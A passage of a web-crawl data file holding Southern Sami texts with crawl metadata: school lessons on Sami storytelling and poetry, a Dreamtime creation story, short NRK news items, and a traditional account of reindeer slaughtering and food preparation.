0.99973064661026}","num_words":224,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaajese\nIktesth mijjieh vaajesh soptsestamme: vaeresne, dålle-sijjien lïhke gosse lïegkedeminie, vïnhtsesne gosse gööleminie, daelvegi gåetesne j.n.v. Vaajese lea soptsese, jïh dan leah aalkoe jïh galhkuve. Dahkoe lea sjïere teeman bïjre jïh daamhtaj dåeriesmoeri bïjre. Vaajesen tjïelkes vuajnoe jïh gosse soptsestæjja vaajesem aktine sjïere vuekine soptseste guktie goltelæjjah sijhtieh goltelidh.\nVaajesh leah gellie tjuetie jaepieh jåhteme, jïh dah leah ovmessie dajvide vïedteldihkie. Vaajesh maehtieh sih «saatnan» årrodh, dan åvteste dah heannadimmiej bïjre soptsestieh mah kaanne heannadamme jïh dah muvhtide sjïere sijjide, persovnide jallh heannadimmide vïedteldihkie. Muvhth soptsesh leah dan gellien aejkien soptsesovveme guktie jïjnjh joekehts åådtjeme. Nimhtie seamma soptsese maahta sijjeste sæjjan joekehtadtedh.\nMyten vaajesh\nMyten vaajesh lin aalkovistie histovrijen vaajesh. Maehtebe dejtie memoratine aaj gåhjodh. Memorate lea soptsese gusnie gie akt soptseste mah heannadamme gosse råakeme aelieh, saavjh, moenesjh jnv.\nMaadtoe-vaajesh\nDah eatnemem buerkiestieh goh sjïere gierkieh, vaerieh jïh aaj sijjie-nommh.\nHistovrijen vaajesh\nHistovrijen vaajesh soptsestieh mij heannadamme voenges sijjesne, dajvesne jallh rïjhkesne.\nBaakoe\nmaadtoe-vaajese\nopphavsagn","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129507?fag=126960","date":"2017-05-24T10:14:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00223.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":156,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nïekeds-tïjje\nNïekeds-tïjje\nAalkovisnie eatneme lij akte doedtere. Gaajhke lij jemhkelde. Ij naan jielede, ij naan jaemede. Biejjie, aske jïh naestieh lin åerieminie eatnemen nuelesne. Desnie gaajhkh dah ihkuve maadtoe-ladtjh aaj öörin, goske sijjen jïjtsh ihkuvistie loevenin jïh bæjjese böötin eatnemen bijjie-skiehrien tjïrrh.\nGosse dah ihkuve maadtoe-ladtjh tjuedtjielin, dah eatnamisnie vaanterdin, muvhten aejkien kreeki gaagkosne – goh kenguru, emu jallh öögla. Muvhten aejkien almetjen gaagkosne, muvhten aejkien dovne goh almetje jïh kreeke, jïh muvhten aejkien dovne goh almetje jïh sjædtoe ektesne.\nGöökte dagkerh gaagkoeh lin ungambikula, mah lin jïjtjemem sjugniedamme ij mestie gænnah.\nGosse lin vaanterdeminie eatnamisnie dle såemies byölehth almetjh gaavnin. Dah lin kreekijste jïh sjædtojste dorjesovveme jïh goh paanhtjh gællasjin dogkh daagkh. Almetjh lin gïebreldahkesne, ij naan juelkieh, ij naan gïeth jïh ij naan guelmie.\nDah göökte ungambikulah veeltin sijjen stoerre gierkie-nejpieh jïh åejjiem, kråahpem, juelkide jïh gïetide dejstie tjoehpin. Dah ååredæjjah, gïeth jïh juelkieh tjoehpin. Dellie lin almetjidie dorjeme.\nFïerhte gaarmanæjja jïh fïerhte nyjsenæjja lij aalkovistie akte sjædtoe jallh kreeke orreme, jïh dannasinie tjuerieh totem-kreekem jallh totem-sjædtoem ååktedh mestie lin dorjesovveme – goh muerjie-moere, kraesie-vetsmie, dah stoerre jïh smaave ööglah, rööhtse.\nGosse dejnie aejlies sjugniedimmie-barkojne eatnamisnie orrijamme, dle maadtoeladtjh vihth åarajin. Såemies dejstie bååstede jarkaji dejtie sijjide eatnamisnie gubpede böötin, mubpieh gierkieh jïh moerh sjïdtin.\nDah baalkah mejtie maadtoeladtjh vaanterdin Nïekeds-tïjjen, leah aejlies baalkah. Gaajhkem lehkiem gusnie maadtoeladtjh veedtsin jïh veartanasse laavloejin, dle aejlies mïerhkh leehpin mah vuesiehtieh dah leah ihkuve gïetskesisnie - akte gierkie, akte gaaltije, akte moere.\nIj leah Nïekeds-tïjje mij akt mij ajve ikth dejpeli heannadi. Nïekeds-tïjje akte ihkuve daaletje tïjje. Fïerhten aejkien naaken dejtie aejlies laavloemidie lååvle, dle laante vihth sjugniesåvva. Jïh naemhtie Nïekeds-tïjje vihth sjædta, ikth vielie.1\nbijjie-skiehrie\noverflate\njïjtjemem sjugniedamme\nskapt seg selv\nMïetsken 9.b. lea ENn gaske-nasjovnaale aalkoealmetje-biejjie. Daan biejjien akte mïerhke-biejjie 5000 ovmessie aalkoealmetje-tjïertide abpe veartenisnie. Daate biejjie aaj akte biejjie juktie ektievoetem vuesiehtidh aalkoealmetje-tjïertigujmie mah gïerve tsiehkiej nuelesne veasoeh. Veartenen aalkoe-almetjh leah bijjelen vïjhte prosenth veartenen almetjijstie, vielie goh 370 millijovnh almetjh joekedamme jieniebinie goh 90 laantine. Dah jeanatjommes aalkoe-almetjh gïerve tsiehkiej nuelesne jielieh, jïh jeenjesh dovne dïedtesimmiem jïh trïegkenassem dååjrieh.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- gjøre rede for samisk fortellertradisjon og sammenligne med noen andre urfolks fortellertradisjon\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lytte til, systematisere og sammenholde informasjon i muntlige tekster og reflektere over innholdet\n- lese og analysere tekster i ulike sjangere for å kunne ta stilling til spørsmål tekstene tar opp og verdier de representerer\n- orientere seg i tekster av ulik kompleksitet og velge ut, sammenfatte og vurdere relevant informasjon\n- lese ulike tekster og bruke dem som utgangspunkt for egen tekstproduksjon\n- beskrive ulike sagn- og eventyrvarianter og gi eksempler på spor av kulturutveksling i sagn og eventyr fra noen andre folkegrupper","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129289?fag=126960","date":"2017-05-24T10:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00452.warc.gz","language":"sma","language_score":0.9998518229,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998518228530884}","num_words":446,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mánáid-Tv edtjieh mubpien sesong spealadidh dihte tv-programmese «IeŽar». Jih dah sijhtieh maanah gaskemsh 7-12 jaepien båeries.\n– Mijjieh sijhtebe maanah åarjelistie edtja meatan årrodh, jeahta Heidi Sara mij barka Mánáid-Tvesne.\n«IeŽar», jallh jijtjeguvvie lea akte programme gusnie maanam lea åejviealmetje, jih mijjieh maehtebe vuejnedh mij satne lyjhke dorjedh.\nAkte niejte aerebi meatan orreme, Britt Ailin, dihte jijtje orre gaptam gåereme. Sov dåeriesmoere lij jis gaptam riejries sjidti hïejese.\nGielem datne tjoerh nuhtjedh lea åarjel, julev jallh northesaemiengiele.\nJis datne sijhth meatan årrodh, dellie maahtah e-påaste tjaledh: email@example.com jallh NRK Saapman ringkedh.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/manaid-tv-datnem-daarpesjieh-1.13007948","date":"2017-08-18T03:20:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104560.59\/warc\/CC-MAIN-20170818024629-20170818044629-00509.warc.gz","language":"sma","language_score":0.9997361302,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997361302375793}","num_words":89,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh beavneme, gie sueleds-laakan bovtsh vuatjeme, daate lea Øst-Fergen luvnie. Dæjman aaj govlim, nielje bovtsh sueleden vuatjeme, jeahta åvtehke Gaaske-laanten sijtesne, Nils Sigvard Danielsen daan plaerese www.bladet.no\/nyheter\/article7559731.ece\nïerveme sijjie.\nGaske-laanten båatsoe saemieh, beavneme naemhtie gellie jaepieh orreme. Dæjman aaj ïerveme sijjem gaavnin. Straavvebe gie dihte soelege lea.\n– Mijjieh dejnie soptsestamme. Dihte gujht nyøjhkoe, jeahta Danielsen.\nTjoepere lea båatsoe saemieh tjoeverieh, hïehke aatsolen båatedh, jis edtjieh maam vueptiestidh. Sijhtebe almetjh edtjieh bievnedh jis maam vuejnieh.\n– Mijjieh maaksoem maeksebe jis gie maehtieh viehkiedidh, vihkelommes daate soeleh vuedtjeme orrije, jeahta Nils Sigvard Danielsen.\nIj leah ennje govleme jis gieh sueleden daan jaepien vuatjeme. Straavveminie nemhtie lea. Daanasinie sijhtem daan bijre bievnedh.\n– Nuekies lea dah ov-juvrh krievvesne moetesjeminie jih dellie øøvre nåake jis aaj almetjh desnie lea, jeahta Danielsen.\nAalvere.\nLientsie Odd Magnar Horten, Meråker, jeahta, dah båatsoe saemieh tjuerieh dagkeres aamhtsi bijre bievnedh.\n– Daate aalvere daan bijre tjoeveribie daejredh. Læjhkan jis ibie dastegh buektedh tjïelkedidh. Maehtebe son mænngan vielie aamhtesh gaavnedh jih nimhtie vijrebasse barkedh, jeahta dihte lientsie Gaske-laanten dajvesne","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/gie-suelede-bovtsh-vuatjeme-1.11910597","date":"2017-12-18T03:49:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948604248.93\/warc\/CC-MAIN-20171218025050-20171218051050-00318.warc.gz","language":"sma","language_score":0.9999680519,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999680519104004}","num_words":167,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelijen åssjaldahkh vihkeles mijjese men guktie maehtebe dejtie guarkedh? Jis mijjieh aejkiem goerehtibie, gåessie tjaelije teekstem tjeeli, maehtebe kaanne tjaelijem buerebe guarkedh.\nElla Holm Bull\nÅemie Ella Holm Bulle diktegærjam Ov-messie darjomes bæjhkoehti jaepien 2000. Ibie daejrieh gåessie åemie Ella diktide tjeeli, men maehtebe sovmedh dïhte diktide tjeeli dej minngemes jaepiej åvtelen gærja bæjhkoesovvi.\nJis sovmebe åemie Ella Holm Bull diktide tjeeli 1990-låhkosne, dellie tjaelije idtji vielie lij dan noere. Gosse diktem Mov håhkoe lohhkebe dellie ov goh tjaelije arhteminie sov maana-baelien gåatan båetedh. Dïhte dan mojhtesi bïjre tjaala mah vaajmosne.\nNumhtie guktie åemie Aanna Jacobsen ikth tjeeli: «Båeries vijsies almetjh hov jiehtieh: Almetjh guhth dovletjem vaajmosne jïh mojhtesisnie guedtieminie, dah gujht rïekteslaakan edtjieh maehtedh dåastodh mij båetiemisnie.»[1]\nDikten viehkie-dïrregh\nGïele lea tjaelijen dïrregh. Tjaelije maahta gellie ovmessie gïeleviehkie-dïrregh nuhtjedh gosse teeman bïjre tjaala. Lohkh diktem eensilaakan jïh dle kaanne guarkah mij dikten teema, jïh maam tjaelije sæjhta diktine jiehtedh.\n1. laavenjasse\nLohkh diktem Mov håhkoe eensilaakan. Mij lea dikten teema?\n2. laavenjasse\nMaam vïenhth åemie Ella Holm Bull sïjhti diktine jiehtedh?\n3. laavenjasse\nMah vihkeles aarvoeh diktesne?\n4. laavenjasse\nMaahtah maam akt jiehtedh tïjjen bïjre? Guktie lij saemien siebriedahkesne 1990-låhkosne?\n- 1«Don jih daan bïjre I». Jacobsen, Aanna. Daasta berteme. 1997.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:192369\/resource:1:192507","date":"2019-03-22T11:26:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202642.32\/warc\/CC-MAIN-20190322094932-20190322120932-00360.warc.gz","language":"sma","language_score":0.9999821186,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999821186065674}","num_words":195,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelijen åssjeldahkh vihkeles mijjese, men guktie maehtebe dejtie guarkedh? Jis mijjieh tïjjem goerehtibie, gåessie tjaelije teekstem tjeeli, dle kaanne maehtebe tjaelijem buerebe guarkedh.\nPaulus Utsi\nÅemie Paulus Utsi dikte-gærjam Giela giela bæjhkoehti jaepien 1974. Ibie daejrieh gåessie dïhte diktide tjeeli, men maehtebe sovmedh åemie Paulus Utsi sov diktide tjeeli 1960-låhkosne. Daate teekste Mijjen jielemh lea dikte gusnie tjaelije mijjen jielemh eatnaminie vierteste.\nDikten viehkie-dïrregh\nGïele lea tjaelijen dïrregh. Tjaelije maahta gellie ovmessie gïeleviehkie-dïrregh nuhtjedh gosse teeman bïjre tjaala. Jis diktem eensilaakan lohkh dle kaanne guarkah mij dikten teema, jïh maam tjaelije sæjhta diktine jiehtedh.\n1. laavenjasse\nLohkh diktem Mijjen jielemh eensilaakan. Mij lea dov mïelen mietie dikten åejvie-aamhtese jallh dikten teema?\n2. laavenjasse\nDikten tjaelije, åemie Paulus Utsi, sïjhti maam akt diktine jiehtedh. Maam vïenhth dan mïele lij?\n3. laavenjasse\nUssjedh mah aarvoeh diktesne jïh soptsesth daej bïjre.\n4. laavenjasse\nGuktie saemien siebriedahke 1960-låhkoen raejeste daan biejjien raajan jeatjahtehteme?","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:192369\/resource:1:192529","date":"2019-03-22T11:37:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202642.32\/warc\/CC-MAIN-20190322094932-20190322120932-00424.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":144,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie tjaalegisnie Julia Axmann soptseste guktie dah slaaterdin. Soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie tjaaleme.\nTjaalegisnie baakoeh mah bokstaavem mïrhke ï utnieh sïejme i-ine tjaaleme. Mijjieh naaken daejstie baakojste mïrhke ï-ine tjaaleme, vg jïh, dïhte jnv.\nSlaaterdimmie\nGosse libie earna slaaterdidh, dellie vuelkieh bovtsen gåajkoe krååvedæjjan biejjien, bovtsem gåatoehtehtieh jïh gåetide vuejiehtieh. Gosse tsaakeme geadtan jïh ryöjnesjæjjah meksiehtamme jïh ånnetji lïegkedamme, dellie dallegh aelkiestieh jïh ajpedieh heantems bovtsh. Jïh jis naagen geatjoes-bieljie miesieh, dellie dejtie mïerhkesjieh. Jïh jis naagen aaltoem ajpedieh, tjiehtieh miesiem voestegh mïerhkesjidh. Jis gårroedahkine heantedh, dellie urries bovtsh voestegh vaeltedh. Guhkiem vaedtsieh, dellie snjååpedieh.\nGosse gaajhkem vaalteme, dellie aelkiestieh tjåejjieh vaeltedh, jïh die gåetien gåajkoe giesedh. Jïh die nïmmerh vaeltieh jïh maeliem gåejstieh jïh sysngetjh vaeltieh. Maeliem geegki sïjse gåejstebe, jïh muvhtem tjåejjiej (faehtiej) sïjse, gosse skuvleme, maam gïjrese utnedh. Jïh snjarhtjah tjalmesh tjoehpestieh jïh kraesiem strahkestieh. Jïh die nyjsenæjjan vætnoe bissedh jïh skuvledh jïh nïmmerh daajhtodh.\nGosse nïmmerh daajhtodh, dellie voestegh guhkies buejtiem jegkieldibie buhtiehkistie. Jïh die dah vuelemes tjåelieh aelkiestibie gaarkoehtidh. Gosse gåamalahken gåajkoe nöödteme, dellie dam gahtjehtibie, jïh dam tjåeliem jegkieldibie. Jïh die dah döörhkesen tjåelieh nejpine tjïehtebe goh skreepedh, guktie ij edtjh dan jeenje buejtie dåeriedidh. Gosse gaajhkem, dellie reavsah dallegh vaeltebe, jïh dam gaarkehtassem tjåanghkan gïebrebe jïh olkese biejebe.\nDam guhkies-buejtiem marngastibie jïh tjaetsien sïjse biejebe. Mubpien biejjien bissebe jïh tjaetsiem såålhtestibie jïh guhkies buejtiem sïjse. Gosse tjåådtjeme boelhkem, dijpebe skuvlebe jïh skreepebe gaajhkem njevliem, jïh die biejebe lïjhtjen sïjse jïh såålhtestibie. Gosse saelhtie baajneme, dijpebe byössegem jïh dïsse baerkieldibie dam guhkies buejtiem. Gosse gajhkeme, dellie tsaapebe jïh bissebe bearkoej aahtehte (bealese).\nLïepsh dijpebe gåatan jïh gaajhkh goelkh bihkebe jis goelken. Tjåanghkan biejebe gaarkehtassigujmie gåessie galkebe sjilkehtidh.\nSnjarhtjam bissebe jïh såålhtestibie. Åvtesne provhkin tsagkedh jïh gajhkesjidh. Ohtje spaarrah dåaresth tsagka. Jïh gyvnjele guktie galka gajhkedh. Giesege dam lovvehtin jïh gasngesen tjaetsien sïjse, jïh gaasije-daallan beejin ohtje gasngesen tjaetsien sïjse. Gosse tjåådtjeme gellie biejjieh, jïh vuastam daajhtodh, dellie dejnie snjarhtjine sjåavloejin mielhkie-giebnesne, dellie vuasta sjïdti. Gosse vuastam bæjjese vaalteme, dellie mæssoem gurkin snjarhtjaj bijjelen. Dellie jeatjah aejkien gosse vuastam leehpehtidh, dellie meehtin dejnie tjåadtjome-mæssojne leehpehtidh.\nDaelie mijjieh snjarhtjam goerve-lihtine. Maeliem daelvege speelhkehtibie maelie-tjåejjeste jïh tjaetsine pleentebe, krovne-jaavvoem bedtsiehtibie jïh snjarhtjaj sïjse. Men ij gåaredh dïeves dievhtedh snjarhtjam, dellie loedtene. Buajtehks snjarhtjah, dellie njaelkies goervh dah sjidtieh. Mujhtieh såålhtesth!\nJïh gaarmanæjjah gaavlesjieh jïh juelkieh jegkieldieh jïh dueljien nualan biejieh, guktie eah edtjh gelmedh, goske vitnieh gåatan vaeltedh jïh gaamesh gahtjehtidh. Jïh die dueljiem gahtjehtieh, jïh åejjiem tjuehpieh jarran baaktoe. Jïh die mïelkem tjuehpieh ïehterdahkeste, jïh tjåamahtassh jïh ruaksjah. Biejieh lopmen nille; jis maelien (maelene), dellie dam bieliem våålese, lopmen vuestie. Jis gårroedahkine, dellie ïehterdahkem rudtje-lïhtsi baaktoe tjuahpa. Jis doekems-ligke, dellie ïehterdahkem gaskoeh sååkesje, dïhte galka rudtjem dåeriedidh. Jis gårroedahkine, dellie soen-åedtjieh dæjpa jïh slaahpoem gahtjehte.\nMubpien biejjien gårroedahkh såålhtebe jïh leenebe stoerre lihtien sïjse, golme nieljie bovtsen gårroedahkh. Voestegh ruaksjah batnan leenebe. Gïjrege easkah norsh tjåervien-deatah ruaksjijste tjoehpebe. Jïh die tjåamahtassh, jïh die mïelkh såålhtestibie jïh ïehterdahkh. Gosse tjeapohkem njaarhtahteme, dellie njaaregh bijjieskadtjese såålhtedh. Jïh die gåbloeh dijpebe, nille biejebe. Dellie bearkoeh gïjrese; goske gævnjoestidh, eah skïemmenh. Tjeapoeh-lïhtsh jïh rudtje-lïhtsh aektedh, dejtie daelvege doeltehtidh.\nJis doekems-ligke, dellie ruaksjah tjåamahtassh jïh rudtjh saadtesibie. Jeatjh ohtje byörkodtjh daelvie-bearkojne tjiehtebe utnedh. Bovtsine gåhkese jåhtajieh, dellie ibie naagen vaeltems-bovtsh utnieh.\nGosse slaaterdamme, dellie jeenje sluekie sjædta maam galka geehtedh jïh stealladidh olles skïemmenh. Gaarmanæjjah gåatan vaeltieh åejjieh jïh juelkieh. Åejjieh joe galmeme. Juelkieh voestegh vaeltieh; eah leah dah galmeme, mah dueljien nuelesne. Voestegh gaamesem tjaelieh våålese seahkoen gåajkoe, jïh die gadtsestieh bïjre gaajhkh guehperh, jïh die gaamesem njelliestieh, jïh tjerkie gaamesem dåerede. Jïh die söönieh. Gosse gaajhkh soenh sigkeme, dellie åvtes-juelkeste åvtes-nuelieh jïh seahkoeh tjuehpieh, jïh jïrreme-lïhtsi baaktoe jegkieldieh jïrremidie. Tjïektjes-juelkien vaanghkah tjuehpieh gosse sööneme, jïh båetskie seahkoem dåerede. Nyjsenæjjah jis seahkoeh tjahkeldalledh, jïh olkese gævnjoestidh.\nGosse gaajhkh jïrremh (juelkieh) sööneme, dellie åejjiem heantedh. Dellie tjaelieh gaalloem ruhtjeste jïh bæjjese skadteren vuestie, jïh die tjuehpieh njuenien bïjre jïh bïjre gaejpiem. Tjiehtieh reaktoe gaalloem heantedh, dellie buerebe nyjsenæjjide gaallojste gaamegh vijjedh.\nDellie gaamesh speenieh jïh ohtsedieh jalke spaanese-galtem. Gosse spaanesh skeevedh, tjeahta nuhtegs skaavem utnedh, guktie jissehts spaanesh galka sjïdtedh. Gosse speenedh, dellie gaamesen bijjie-raedteste aelkiestidh. Voestes spaanesem galka soermigujmie raedtiem njimkehtidh guktie jalke sjædta. Jis eah gaajhkh gaamesh seamma biejjien vitnh speenedh, dellie njöömkehtellieh göökte gaamesh tjåanghkan jïh olkese gyvnjelh.\nMubpien biejjien dellie viht aelkiestidh beetsuve-gaamesh speenedh, jïh die gaalloeh tsagkedh. Voestegh stööremes gaalloeh. Jis eah gaervies spaarrah utnieh, dellie tjiehtieh orre spaarrah ohtsedidh. Dejtie spaarride vuelieh; dah leah jorpehke jïh barre rijsijste. Gåabpegem gietjiem tseahkodh. Spaarram bïejedh njueneste gaskoeh dan bijjie-raadtan. Golme spaarrah dej njuenie-gietjijste jïh bæjjese, göökte tjåervierimmiej baaktoe, jïh die ohtjebh spaarrah dotnelasse. Tjeahta seejkedh jïh dan jeenjh spaarrah biejedh guktie gaalloe seajka (seejkene) sjædta. Jïh die gïevtemes spaarrah dotnele-gietjeste jïh gaalloen mubpien bealan dej tjelmie-raejkiej baaktoe. Jïh akte ohtje åenehks spaarra dåeresth tjåervierimmiej baaktoe. Jïh die tjeahta gyvnjelidh guktie gaalloeh varke gejhkieh; dah dan haerrehtje muavasidh.\nGosse gaajhkem sluekiem flidteme, dellie jis dueljieh gåatan vaeltedh guktie gelkieh leamkedh. Gosse leamkeme, dellie juelkie-vuevlieh gåarodh; jis eah gaarmanæjjah asth, dellie nyjsenæjjah. Åvtesne dellie dueljide spaarrajgujmie tsagkin, men daelie giehpebe spæjhkerh åestedh jïh spijhkierdidh. Dan veelkes jïh tjååbpehke tsoedts-bielie sjædta, gosse tjåetskemen ålkone gajhka.\nTjïehtede dellie nyjsenæjjah aelkiestidh jïrremh doeltehtidh, guktie fihkebe smååhkedh! Stoerre krovhtem tseegkedh guktie jeenjh jïrremh tjaakanieh, njïetsegh tsebpieh jïh tjåentjemh; haabpeste voestegh håvvam tjoehpedh. Gosse krovhte doeltijamme, dellie gulhkine vuartesje njïetsegen aktem bieliem; jis doelteme, dellie varke gåejstedh njïetsegh tsebpieh, eah dah dan guhkiem tööllh doeltedh; jïh haabpen håvva-gietjiem våålese tseegkie, joe dïhte mubpie gietjie doelteme. Tjåentjemen aaj siegkies gietjie joe doelteme; gïsse gietjiem tseegkie krovhten sïjse. Juktie boelhkem doelteme, dellie tjåentjemh bæjjese vaalta jïh gulhkine tjuahpa njaptjan baaktoe. Jis njaptjan baaktoe doelteme, dellie bæjjese gåajsta gaajhkh jïrremh.\nJïh die libriem dijpebe, gulhkine tjaeliestibie golmen aejkien jïh doeltehtibie. Ij librie gan dan guhkiem tööllh doeltedh. Gosse boelhkem doelteme, dellie vuartasjibie. Jis maelie garkese ånnetji, dellie vielie doeltehtidh. Librie dan gejhkie jis guhkiem dualta. Gosse librie doelteme, dellie gaajhkesh byöpmedidh jïh jïrremh tjïeskedh. Jïh libriem fïrreminie meksiehtidh. Jïh die jovkedh dam doeltehtimmie-lïemem.\nEah badth aktene biejjesne vitnh gaajhkh bovtsh heantedh, dellie vielie tsaekedh jïh doekemes bovtsh raajedidh. Dellie barre doekemes-ligke heanta jïh sluekiem jïjtje åtna.\nGosse nyjsenæjjah gaajhkh buejtieh tjöönghkehtamme jïh gaajhkh trååsmesh dååjhteme, dellie olkese biejebe gelmedh. Jïh die buejtiem heehkebe juktie sjilkehtidh; jïh die såålhtebe. Åvtesne dellie tjalmesi sïjse såarhkodh, jïh tjåanghkan tjovvem sampeldidh sampelinie. Dellie byössegem bïjle gårredidh jïh byössegistie låtjkoem hååkedh, gustie gyvnjelidh. Muvhtem geasan utnedh. Daelie barre sjilkehtibie jïh bijjeskem geltebe gaeriej sïjse, jïh biejebe gelmedh. Gosse galmeme, dellie gaereste slajkeldehtebe jïh barre olkese biejebe. Jïh dam betnie-buejtiem såålhtebe, dam bïenjen saltine.\nJïh vaanghkah åvtes-nuelieh milnebe jïh tjåanghkan sysngetjigujmie goervene. Gåbloeh dijpebe darhpestehtebe jïh bïenjide vedtebe. Jis buajtehks bovtsh, dellie gosse heantedh, dellie gaeblie-buejtiem vaeltieh rudtjeste. Dejtie såålhtebe jïh gajhkesjibie. Dïhte njaelkie ryöjnesjæjjide niestine.\nMaeleste klobph doeltehtibie jïh laejpieh bissebe, jïh muvhtem maeliem gïjrese spåårebe. Jïh bïenjen feadese aaj maeliem.\nGosse astoem fihkebe, dellie gåatan dijpebe tjahkeldalleme seahkoeh jïh doeltehtibie; dejtie bööremes doeltehtidh åvtelen gerrieh. Gosse doelteme, dellie geltebe dam seahkoe-voejem. Dejnie voejine skåerrieh bådtjadibie. Gosse seahkoeh doelteme, dellie naa stïerhke saelhtie-tjaetsien sïjse; dah aaj njaelkie, gosse doelteme jïh dyjmeme.\nGosse galkebe tjelmieh doeltehtidh, dellie gaarmanæjjah åejjiem nuesieh. Njueniem voestegh tjuehpieh, jïh die gåabpegh tjelmieh gaskoeh tjuehpieh guektien haaran. Jïh ruhtjiem dallegh vaeltieh, gosse gaalloem heanteme. Ruhtjeste gaejpiem aaksjojne tjuahpa, jïh gulhkine aalkesth gåangkelen gåajkoe jïh gåangkelen bïjre tjuahpa jïh gïrse-gietjiem gåangkalistie. Jïh die doeltehtibie dan jeenjh tjelmieh ruhtjieh mah tjaakanieh. Tjelmieh njaelkie meksiehtidh, dallegh leah baahkes. Gosse jeenjh tjelmieh ruhtjieh, dellie sohpebe jïh milnebe jïh tjeapohken bearkoem (njaaregem) tjåenghkesne; destie steajhkem stealladibie. Dïhte njaelkie aereden baahkedidh, gosse ryöjnesjæjjah gelkieh varke vuelkedh. Njoektjemh, mejtie ruhtjeste tjoehpeme, biejebe gelmedh. Åvtesne såålhtin jïh gajhkesjin prïhtjegen kreadtine niesties-voessese. Daelie mijjieh barre daelvege doeltehtibie jïh meksiehtibie.\nGosse mïelkem doeltehtidh jïh buajtehks mïelke, dellie maelie-klobph aaj doeltehtibie. Voestegh mïelken njueniem tjoehpebe dåaresth, jïh dam beetsuve-mïelkem aalkesth jïh dah göökte gaske-rohkesh foerhnen bieleste tjoehpebe, jïh mïelken trumpiem. Jis jeenjesh libie, dellie tjiehtebe ïehterdahkem aaj doeltehtidh. Dam aalkesth tjoehpedh. Muvhtene lehkiem vaeltebe, jïh kråevvie-bieliem spåårebe jeatjh aajkan. Gosse bearkoeh boelhkem doelteme, dellie maeleste klobph bedtsiehtibie, jïh dejtie doeltehtem bearkoejgujmie. Gosse doelteme, dellie gåajstam jïh bedtsehtem dan smeelese jaavvoem. Dellie njalkies (njaelkies) feada sjædta. Dejtie klobpide meksiehtibie dej buajtehks mïelke-stuhtji aahtehte (bealese).\nJis ibie gaajhkh jïrremh meksehth, dellie tjiehtebe saapmam doeltehtidh. Gosse gaajhkh jïrremidie doeltehtamme, dellie sohpebe jïh löödtebe (tjïeskebe) gaajhkh jïrremh. Gosse gaajhkijste jïrremh reenskeme, dellie lihtesne sjilkehtibie jïh såålhtebe jïh olkese tseegkebe; dellie eah skïemmenh. Dam voejine laejpesne meksiehtibie. Dah jïrremen sohpehtassh milnebe jïh jeatjh ohtje bearkoejgujmie pleentebe, jïh numhtie bissebe.\nJis naagen ruaksjam utnebe daelvege, gelkieh niestine utnedh. Dellie luepkebe jïh såålhtestibie jïh gævnjoestibie gåetesne edtja gajhkedh. Jïh norsem tjåervien-deatam gaskoeh tjoehpebe jïh jeatjh bearkoejgujmie doeltehtibie. Jïh gosse 